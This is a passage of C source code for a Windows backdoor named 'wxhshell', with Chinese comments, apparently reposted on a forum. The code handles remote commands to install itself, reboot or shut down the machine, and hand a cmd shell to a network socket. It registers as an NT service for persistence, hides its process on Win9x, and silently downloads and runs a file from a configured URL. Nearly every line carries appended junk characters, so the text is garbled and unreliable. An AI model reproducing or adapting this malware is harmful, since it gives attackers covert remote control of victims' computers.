      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); TbNGgjT  
    break; [&VxaJ("3  
  } kV)' a  
  // 安装 Fj=NiZ=  
  case 'i': { 0'yyfz  
    if(Install()) U"5q;9#q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FBY ODw  
    else km>o7V&4G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Npa-$N&P{S  
    break; rz6jx  
    } *SZ>upg  
  // 卸载 }iNY_I c  
  case 'r': { \iZ1W  
    if(Uninstall()) FMS2.E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'Z7P  
    else 9*_uCPR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1%eLs=u?  
    break; /yYlu  
    } { /<4'B  
  // 显示 wxhshell 所在路径 _T~H[&Hl  
  case 'p': { =lrN'$z?%  
    char svExeFile[MAX_PATH]; 8XbR  
    strcpy(svExeFile,"\n\r"); 878tI3-  
      strcat(svExeFile,ExeFile); 1q!sKoJ<  
        send(wsh,svExeFile,strlen(svExeFile),0); wItzcY1m  
    break; lIq~~cv)  
    } O,9X8$5H-a  
  // 重启 >eo8  
  case 'b': { jOl1_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); NgxO&Zp  
    if(Boot(REBOOT)) RndOm.TE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qJMp1DC  
    else { `u=<c  
    closesocket(wsh); h.b+r~u  
    ExitThread(0); hEcYpng~  
    } )6G+tU'  
    break; |Ow$n  
    } 7SHo%b A  
  // 关机 Gg+YfY_  
  case 'd': { n\~yX<;X3  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Qa?Q bHc  
    if(Boot(SHUTDOWN)) vs*I7<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;U7t  
    else { M9g1d7%  
    closesocket(wsh); AI fk"2  
    ExitThread(0); w:R]!e_6\9  
    } mh8nlB  
    break; h.LSMU (O  
    } B}5XRgq  
  // 获取shell g.&\6^)8p  
  case 's': { S A3Y:(  
    CmdShell(wsh); j&}B<f _6J  
    closesocket(wsh); ^V,@=QL3U  
    ExitThread(0); &|] Fg5  
    break; $y4M#yv  
  } 9jjL9f_3  
  // 退出 zf")|9j  
  case 'x': { nP)-Y#`~7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m2MPWy5s  
    CloseIt(wsh); <^'{ G  
    break; V9]uFL  
    } ~p!QSRu~,b  
  // 离开 4+,*sn  
  case 'q': { <M>#qd@c  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ZArf;&8  
    closesocket(wsh); n(# c`t*  
    WSACleanup(); @f'AWeJ2  
    exit(1); ;@O(z*14@  
    break; %w%zv2d  
        } JgZdS-~  
  } "U{mMd!9L  
  } qZc)Sa.S  
gU*I;s>  
  // 提示信息 >hesxC!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CY\mU_.b  
} vev8l\  
  } ,XP@ pi  
'|+=B u  
  return;  m"1 ?  
} L/%xbm~  
;WPI+`-  
// shell模块句柄 1 pYsjo~  
int CmdShell(SOCKET sock) th;]Vo  
{ F6h/0i  
STARTUPINFO si; -y<rM0"NE  
ZeroMemory(&si,sizeof(si)); GYTbeY  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; c{ZqQtfM  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; gGD]t;<u  
PROCESS_INFORMATION ProcessInfo; [/n' @cjNZ  
char cmdline[]="cmd"; _c,&\ wl$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); uof0Oc.  
  return 0; UvoG<;  
} 0$(jBnE  
4>d[qr*<  
// 自身启动模式 ol1AD: Ho  
int StartFromService(void) ]dQZ8yVK  
{ |Yg}WHm  
typedef struct <`b|L9  
{ f61]`@Bk  
  DWORD ExitStatus; l$qmn$Uc  
  DWORD PebBaseAddress; HKT{IP+7(L  
  DWORD AffinityMask; (rMTW+,  
  DWORD BasePriority; R7y-#?  
  ULONG UniqueProcessId; .|tQ=l@I  
  ULONG InheritedFromUniqueProcessId; iNMLYYq]l  
}   PROCESS_BASIC_INFORMATION; *GB$sXF  
8cequAD  
PROCNTQSIP NtQueryInformationProcess; g8B&u u #  
HX z iDnj  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; X@G[=Rs  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ZO]E@?Oav  
| H5Ync[s  
  HANDLE             hProcess; sVNo\  
  PROCESS_BASIC_INFORMATION pbi; $4& 8U~Zs  
J#_\+G i  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &7JEb]1C  
  if(NULL == hInst ) return 0; "1E?3PFJ  
3" 8t)s  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); jAsh   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); vQE` c@^{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); GWVEIZ  
qsQ]M^@>  
  if (!NtQueryInformationProcess) return 0; :a#|  
#zh6=.,7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |2tSUOZ  
  if(!hProcess) return 0; S;G"L$&\  
75' Ua$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;g!xQvcR  
8Fyc#Xo8  
  CloseHandle(hProcess); |v,}%UN2  
](idf(j  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 99=[>Ck)G  
if(hProcess==NULL) return 0; \Or]5ogT'  
6uv'r;U]  
HMODULE hMod; })Ix .!p  
char procName[255]; C8O7i[uc  
unsigned long cbNeeded; "@F*$JGT y  
;w>Q{z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); KI^q 5D ?  
@*AYm-k  
  CloseHandle(hProcess); Ss*Lg K_  
R A-^!4tX  
if(strstr(procName,"services")) return 1; // 以服务启动 ixoMccU0  
zSX'  
  return 0; // 注册表启动 S+4I[|T]Y  
} Ta!m%=8  
}j]<&I}  
// 主模块 $NH`Iu9t  
int StartWxhshell(LPSTR lpCmdLine) ~QQEHx\4zZ  
{ 50O7=  
  SOCKET wsl; ([z<TS#Md  
BOOL val=TRUE; CYY X\^hA  
  int port=0; 7cJO)cm0'  
  struct sockaddr_in door; C"V?yDy2~  
X}ey0)g%  
  if(wscfg.ws_autoins) Install(); hvwnG>m\  
@8}-0c  
port=atoi(lpCmdLine); yAZ.L/jyr  
8tG/VE[  
if(port<=0) port=wscfg.ws_port; e\+~  
wt3Z?Pb  
  WSADATA data; T/X?ZK(T  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; I3F6-gH  
6jQ&dN{=qB  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ; +#za?w  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); M,=@|U/B  
  door.sin_family = AF_INET; 4OB~h]Vc  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); y"%iD`{  
  door.sin_port = htons(port); QmDhZ04f  
QZz{74]n  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { TWD|1 di0  
closesocket(wsl); /;]B1T7  
return 1; JCQx8;V%I  
} >"m@qkh  
pfT`WT  
  if(listen(wsl,2) == INVALID_SOCKET) { 8z3I~yL_`+  
closesocket(wsl); -X6\[I:+A  
return 1; A$$R_3ne  
} RLeSA\di  
  Wxhshell(wsl); %<bG%V(  
  WSACleanup(); Q:Nwy(,I  
2!"\;/  
return 0; O_%PBgcJr  
J_((o  
} qJAv=D  
4N0W& Dy  
// 以NT服务方式启动 ;^*+:e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <LOx.}fv  
{ d%[`=fs]|m  
DWORD   status = 0; n+A'XBHk  
  DWORD   specificError = 0xfffffff; {O3oUE+  
d~xU?)n)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; F"HI>t)>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0'`8HP  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; iM Y0xf8l  
  serviceStatus.dwWin32ExitCode     = 0; u" NIG  
  serviceStatus.dwServiceSpecificExitCode = 0; )b:~kuHi  
  serviceStatus.dwCheckPoint       = 0; 0ga1Yr]  
  serviceStatus.dwWaitHint       = 0; DFZ:.6p  
S &lTKYP  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %I2xK.8=  
  if (hServiceStatusHandle==0) return; 2 |kH%  
AcfkY m~  
status = GetLastError(); X?k V1  
  if (status!=NO_ERROR) 4q 2=:"z4  
{ M}KM]<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <^X'f  
    serviceStatus.dwCheckPoint       = 0; @{$Cv"6769  
    serviceStatus.dwWaitHint       = 0; r>:7${pF  
    serviceStatus.dwWin32ExitCode     = status; M& BM,~  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~jCpL@rS  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8BoT%kVeJv  
    return; 6XxG1]84  
  } h1UlLy 8  
KE)D =P  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3I{ta/(  
  serviceStatus.dwCheckPoint       = 0; )su <Ji*  
  serviceStatus.dwWaitHint       = 0; IP4b[|ef  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); H2pXJ/XF  
} ba)YbP[  
r{N{! "G  
// 处理NT服务事件,比如:启动、停止 & 4Iqm(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,mBKya)  
{ h/+I-],RF  
switch(fdwControl) 9'*ZEl^?D  
{ 4>wIF}\  
case SERVICE_CONTROL_STOP: lVp~oZC6[  
  serviceStatus.dwWin32ExitCode = 0; h9OL%n 7m'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0)]C&;}_M  
  serviceStatus.dwCheckPoint   = 0; SYW= L  
  serviceStatus.dwWaitHint     = 0; 1j) !d$8  
  { :"+UG-S$6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Hk~ gcG  
  } Hpo?|;3D5  
  return; <[B[  
case SERVICE_CONTROL_PAUSE: P@S;>t{TD  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8KELN(o$ 7  
  break; 8iH;GFNJ7'  
case SERVICE_CONTROL_CONTINUE: L) nVpqm   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; BnnUUaE  
  break; i11GW  
case SERVICE_CONTROL_INTERROGATE: <W[8k-yOV`  
  break; sq6%=(q(?  
}; Sph"w08  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o_KcnVQ\  
} -O> mY)  
mP .&fS  
// 标准应用程序主函数 dK(%u9v  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <B{VL8IA>  
{ Wv*BwiQ  
$^D(%  
// 获取操作系统版本 (>5VS  
OsIsNt=GetOsVer(); byj mH  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /E  yg*#  
?m r@B  
  // 从命令行安装 "M#`y!__  
  if(strpbrk(lpCmdLine,"iI")) Install(); W;}u 2GH  
 |ukdn2Q  
  // 下载执行文件 bz@=zLBt  
if(wscfg.ws_downexe) { 7'/2:"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) WUK.>eM0  
  WinExec(wscfg.ws_filenam,SW_HIDE); <Ibr.L]  
} >@89k^#Vc  
8\V>6^3CD$  
if(!OsIsNt) { e]B<\i\T  
// 如果时win9x,隐藏进程并且设置为注册表启动 LY cSMuJ  
HideProc(); 64?$TT  
StartWxhshell(lpCmdLine); 3 !w>"h0(  
} @`+$d=rO`  
else gsq[ 9  
  if(StartFromService()) f(MHU   
  // 以服务方式启动 LOG*K;v3  
  StartServiceCtrlDispatcher(DispatchTable); k@)m-K  
else =v`&iL~m  
  // 普通方式启动 y^|3]G3  
  StartWxhshell(lpCmdLine); j%y+W{Q[  
l )V43  
return 0; KXbYv62  
}
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只看该作者 1 发表于: 2006-10-10
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